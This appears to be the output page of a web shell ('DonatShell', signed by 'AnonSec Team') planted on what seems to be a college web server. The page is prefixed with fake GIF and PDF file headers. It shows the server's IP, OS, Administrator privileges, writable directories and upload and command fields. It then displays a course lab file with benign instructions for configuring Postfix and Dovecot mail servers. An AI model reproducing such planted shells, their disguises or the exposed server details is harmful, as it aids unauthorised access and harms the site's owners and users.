GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 134.29.175.74  /  Your IP : 216.73.216.160
Web Server : nginx/1.10.2
System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586
User : Administrator ( 0)
PHP Version : 7.1.0
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/nginx/html/MichaelMalz/CST2608/Labs/2025/Lab08/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : C:/nginx/html/MichaelMalz/CST2608/Labs/2025/Lab08//Lab08.phpinc
<?
// JimMartinson/CST2608/Labs/Lab08/Lab08.phpinc

require('Gradebook/EvaluationSubmission_BEGIN.phpinc'); // Replaced.
require('JimMartinson/CST2608/Labs/StudentServerNameNAT.phpinc');
require('common/Browser/Browser.phpinc');

$disabled = '';
$disabled = ' disabled';
#require('JimMartinson/DisableLab.phpinc');

?>
<fieldset><legend><?=$evaluationType?> <?=$evaluationNumber?> Description</legend>
The purpose of this lab is to demonstrate your ability setup SMTP and POP3/IMAP email servers.
<?=$gradeNote?>
<? if ( $disabled ) { ?><span class="error bold">Notice: Do not perform this assignment unless this notice has been removed.</span><? } ?>
</fieldset>

<p>
<fieldset><legend>Lab Instruction</legend>
	Create a folder for this <?=strtolower($evaluationType)?> named <b class="copyText"><?=$evaluationName?></b> and keep all documents used for <?=$evaluationType?> <?=$evaluationNumber?> in that folder.
<ol start="1" class="count">
	<!-- 1 -->
	<li>Create a directory called <b><?=$evaluationName?></b>. We will use it for all work performed in this lab.</li>
	<!-- 2 -->
	<li>Install Postfix Mail Transfer Agent (MTA).
		<ol>
			<li>Install Postfix as per <i> <a href="https://ubuntu.com/server/docs/mail-postfix">Install and configure Postfix</a> and by reviewing the recordings.</li>
			
			<li>Configure  Postfix to utilize the <b class="copyText">~/Maildir</b> directory for email. <span class="normal note">See <a href="https://help.ubuntu.com/community/PostfixBasicSetupHowto#Setting_Postfix_Support_for_Maildir-style_Mailboxes">Setting Postfix Support for Maildir-style Mailboxes</a>.</span></li>
			<li> I also set <b>myhostname</b> as <code class="copyText nowrap">myhostname = <?=$domain?></code> and added my network to the <b>mynetworks</b> setting: <code class="copyText nowrap"><b>mynetworks</b> = your_network_and_slash_mask, 127.0.0.0/8</code>. These settings are in your <b>/etc/postfix/main.cf</b> file.
				<span class="normal note">Change <b>your_network_and_slash_mask</b> to the network ip and slash mask of your server. Start with the ip address of your server and change the last octet to 0 and add <code>/24</code>. This will give you something like: <b>192.168.56.0/24</b>.</span></li>
			<li>Restart the Postfix service.</li>
			<li>You can test your installation by searching for "Telnet SMTP example" and following the example or watch the recording.</li>
		</ol>
	</li>
	<!-- 3 -->
	<li>Install Dovecot Mail Delivery Agent (MDA).
		<ol>
			<li>Install Dovecot Server as per <a href="https://https://ubuntu.com/server/docs/mail-dovecot">Install and configure Dovecot</a> and by reviewing the recordings.</li>
			<li>Configure Dovecot to utilize the <b class="copyText">~/Maildir</b> directory for mail. This setting is in the <b>10-mail.conf</b> file. See <a href="https://help.ubuntu.com/community/Dovecot#Choice_of_Mailboxes">Choice of Mailboxes</a>.</li>
			<li>Configure Dovecot log paths with <code class="copyText nowrap">log_path = /var/log/dovecot.log</code> and <code class="copyText nowrap">info_log_path = /var/log/dovecot-info.log</code>. These settings are in the <b>10-logging.conf</b> file.</li>
			<li>Configure Dovecot authentication with
				<code class="copyText nowrap">disable_plaintext_auth = no</code> and
				<code class="copyText nowrap">auth_mechanisms = plain</code>.
				These settings are in the <b>10-auth.conf</b> file.</li>
			<li>Configure Dovecot trusted networks with <code class="copyText nowrap">login_trusted_networks - your_network_and_mask</code>. This setting is in the <b>dovecot.conf</b> file.
				<span class="normal note">Change <b>your_network_and_mask</b> to the slash network of your server. Start with the ip address of your server and change the last octet to 0 and add <code>/24</code>. This will give you something like: <b>192.168.56.0/24</b>.</span>
			</li>
			<li>Restart the Dovecot service.</li>
			<li>You can test your installation by searching for "Telnet IMAP example".</li>
		</ol>
	</li>
	<!-- 4 -->
	<li>Ensure both your <b><?=$Uusername?></b> and <b><?=$username2?></b> accounts exist on your Ubuntu server.
		<ol>
			<li>Open a terminal and enter <kbd class="copyText">cat /etc/passwd | grep "<?=$Uusername?>"</kbd>.
				<br>You should get a response like: <kbd><span style="color:red;"><?=$Uusername?></span>:x:1000:1000:<?=$userFullname?>:/home/<span style="color:red;"><?=$Uusername?></span>:bin/bash</kbd>.
				<br>If you do not you need to create the <b><?=$Uusername?></b> user.
			</li>
			<li>In the terminal, enter <kbd class="copyText">cat /etc/passwd | grep "<?=$username2?>"</kbd>.
				<br>You should get a response like: <kbd><span style="color:red;"><?=$username2?></span>:x:1001:1001:,,,:/home/<span style="color:red;"><?=$username2?></span>:bin/bash</kbd>.
				<br>If you do not you need to create the <b><?=$username2?></b> user.
			</li>
		</ol>
	</li>
	<!-- 5 -->
	<li>Install the <b>Thunderbird</b> client software and send an email. <span class="note">You will use your <b>Windows 10 VM</b> for this step of the lab. You also need the <b><?=$Uusername?></b> and <b><?=$username2?></b> users on your <b>Windows 10 VM</b>.</span>
		<ol>
			<li>Login as your <b><?=$Uusername?></b> user.</li>
			<li>Download and install the <b>Thunderbird</b> client software.</li>
			<li>Setup an account for your <b><?=$Uusername?></b> user.</li>
			<li>Send an email to <b><?=$username2?>@<?=$domain?></b> with a subject of <b>Test from <?=$Uusername?> to <?=$username2?></b> and the content <b>This is the test from <?=$Uusername?> to <?=$username2?>.</b>
			</li>
		</ol>
	</li>
	<!-- 6 -->
	<li>Check for email and send a reply. <span class="note">You will use your <b>Windows 10 VM</b> for this step of the lab.</span>
		<ol>
			<li>Login as your <b><?=$username2?></b> user.</li>
			<li>Run the <b>Thunderbird</b> client software and setup an account for your <b><?=$username2?></b> user.</li>
			<li>If you don't see the email right away, click on <b>Get messages</b>.</li>
			<li>If the email is not there then you have mis-configured either <b>Postfix</b> or <b>Dovecot</b> and need to fix that.
				<br><span class="note">For Postfix errors look in the <b>mail.err</b>, <b>mail.log</b>, <b>mail.info</b>, and <b>syslog</b> files.
				For Dovecot errors look in the <b>dovecot.log</b>, <b>dovecot-info.log</b>, and <b>syslog</b> files.
				If you see errors mentioning that Dovecot cannot mkdir Maildir subfolders you should do: <kbd class="copyText nowrap">sudo chmod 755 /var/lib/dovecot</kbd>.</span>
			</li>
			<li>When it works:
				<ol>
					<li>Click on the email to show it's content.</li>
					<li>Take a screenshot and save it as <b class="copyText"><?=$saveFilename?>a.png</b> in your <b><?=$evaluationName?></b> folder.
						<? showBegin('See example screenshot','Hide example screenshot'); ?><br>
						<img src="images/MailFromJimToMartinson.png" width="800" height="570" alt="Example screenshot"/><br>
						<? showEnd (); ?>
					</li>
					<li>Send a reply with the content <b>This is the reply from <?=$username2?>.</b>
				</ol>
			</li>
		</ol>
	</li>
	<!-- 7 -->
	<li>Check for the reply. <span class="note">You will use your <b>Windows 10 VM</b> for this step of the lab.</span>
		<ol>
			<li>Login as your <b><?=$Uusername?></b> user.</li>
			<li>Run the <b>Thunderbird</b> client software.</li>
			<li>If you don't see the reply right away, click on <b>Get messages</b>.</li>
			<li>Click on the reply to show it's content.</li>
			<li>Take a screenshot and save it as <b class="copyText"><?=$saveFilename?>b.png</b> in your <b><?=$evaluationName?></b> folder.
				<? showBegin('See example screenshot','Hide example screenshot'); ?><br>
				<img src="images/ReplyFromMartinson.png" width="800" height="571" alt="Example screenshot"/><br>
				<? showEnd (); ?>
			</li>
		</ol>
	</li>
	<!-- 8 -->
	<li>Verify <b>Maildir</b> directories for your users.
		<ol>
			<li>Open <b>nautilus</b> an go the the <b>/home/<?=$Uusername?>/Maildir</b> directory.</li>
			<li>Take a screenshot and save it as <b class="copyText"><?=$saveFilename?>c.png</b> in your <b><?=$evaluationName?></b> folder.
				<? showBegin('See example screenshot','Hide example screenshot'); ?><br>
				<img src="images/JimMaildir.png" width="800" height="454" alt="Example screenshot"/><br>
				<? showEnd (); ?>
			</li>
			<li>Now go the the <b>/home/<?=$username2?>/Maildir</b> directory.</li>
			<li>Take a screenshot and save it as <b class="copyText"><?=$saveFilename?>d.png</b> in your <b><?=$evaluationName?></b> folder.
				<? showBegin('See example screenshot','Hide example screenshot'); ?><br>
				<img src="images/MartinsonMaildir.png" width="800" height="452" alt="Example screenshot"/><br>
				<? showEnd (); ?>
			</li>
		</ol>
	</li>
	<!-- 9 -->
	<li>Turn in your assignment:
		<ol>
			<li>Copy <b class="copyText">/etc/dovecot/conf.d/10-auth.conf</b> to your <b><?=$evaluationName?></b> folder.</li>
			<li>Copy <b class="copyText">/etc/dovecot/conf.d/10-logging.conf</b> to your <b><?=$evaluationName?></b> folder.</li>
			<li>Copy <b class="copyText">/etc/dovecot/conf.d/10-mail.conf</b> to your <b><?=$evaluationName?></b> folder.</li>
			<li>Copy <b class="copyText">/etc/dovecot/dovecot.conf</b> to your <b><?=$evaluationName?></b> folder.</li>
			<li>Copy <b class="copyText">/etc/postfix/main.cf</b> to your <b><?=$evaluationName?></b> folder.</li>
			<li>Make sure the following files are in your <b><?=$evaluationName?></b> directory:
				<ol><?
$filesToSubmit = array(
	'10-auth.conf',
	'10-logging.conf',
	'10-mail.conf',
	'dovecot.conf',
	'main.cf',
	$saveFilename.'a.png',
	$saveFilename.'b.png',
	$saveFilename.'c.png',
	$saveFilename.'c.png'
	);
	showFileList($filesToSubmit);
?>
				</ol>
			</li>
			<li>Zip up your <b><?=$evaluationName?></b> directory into a file named <b class="copyText"><?=$uploadFilename?></b>.</li>
			<li>Browse and select your <b><?=$uploadFilename?></b> file: <input type="file" name="fileUpload" id="inpFileUpload"<?=$disabled?>><div id="divFileploadError"></div></li>
			<li>Then <input type="submit" name="f_subtask" id="inpSubmit" value="Submit"<?=$disabled?>> for grading.<? if ( $disabled ) { ?> <span class="error bold">Notice: Do not perform this assignment unless this notice has been removed.</span><? } ?></li>
		</ol>
	</li>
</ol><? if ( $disabled ) { ?><span class="error bold">Notice: Do not perform this assignment unless this notice has been removed.</span><? } ?>
</fieldset>
<?
require('Gradebook/EvaluationSubmission_END.phpinc'); // Replaced.
if ($TRACK != '') $_SESSION['TRACK'] .= "<li>End ".basename(__FILE__)."</ol>\n";
?>

Anon7 - 2022
AnonSec Team